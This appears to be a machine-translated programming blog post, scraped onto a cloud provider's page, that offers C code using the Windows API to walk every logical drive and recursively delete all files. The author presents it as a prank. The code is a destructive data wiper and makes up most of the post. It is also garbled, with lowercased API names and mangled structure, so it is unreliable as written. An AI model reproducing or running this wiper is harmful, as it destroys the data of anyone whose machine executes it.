A method for traversing all files and deleting them based on the Windows API _c language

Source: Internet
Author: User
Tags bitset strcmp

The example in this article describes the method of traversing all files and deleting them based on the Windows API implementation. Share to everyone for your reference. The specific analysis is as follows:

have been learning the Windows API recently, got some fun things (a bit of a prank, please use caution) ...
Here is what I now learn to write a delete all the files on the hard drive applet ....

#include <windows.h> #include <stdio.h> #include <bitset> using namespace std;
 void Delfile (char *cfilepath) {win32_find_data DATA;
 HANDLE Hfind;
 Char cfullpath[100];
 Char cnewpath[100];
 sprintf_s (Cfullpath, "%s\\*.*", Cfilepath);
 Hfind=findfirstfile (Cfullpath,&data); do {if (!strcmp (".", Data.cfilename)) | |
 (!STRCMP ("..", Data.cfilename))
 {continue;
  } if (data.dwfileattributes==file_attribute_directory) {sprintf_s (Cnewpath, "%s\\%s", cfilepath,data.cfilename);
 Delfile (Cnewpath);//recursive}//MessageBox (Null,data.cfilename, "look", 0);
 sprintf_s (Cfullpath, "%s\\%s", cfilepath,data.cfilename);
 DeleteFile (Cfullpath);
}while (FindNextFile (hfind,&data)); int WINAPI WinMain (hinstance hinstance,//handle to current instance hinstance,//hprevinstance to handle
 s instance LPSTR lpcmdline,//command line int ncmdshow//show state) {DWORD dwdrive=getlogicaldrives ();
 Bitset<32> bit (dwdrive); Char path[3]={' A ', ': ', ''};
  for (int ix=0;ix!=32;ix++) {if (Bit.test (ix)) {path[0]= ' A ' +ix;
 Delfile (Path);
} return 0; }

I hope this article will help you with your Win32 programming.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.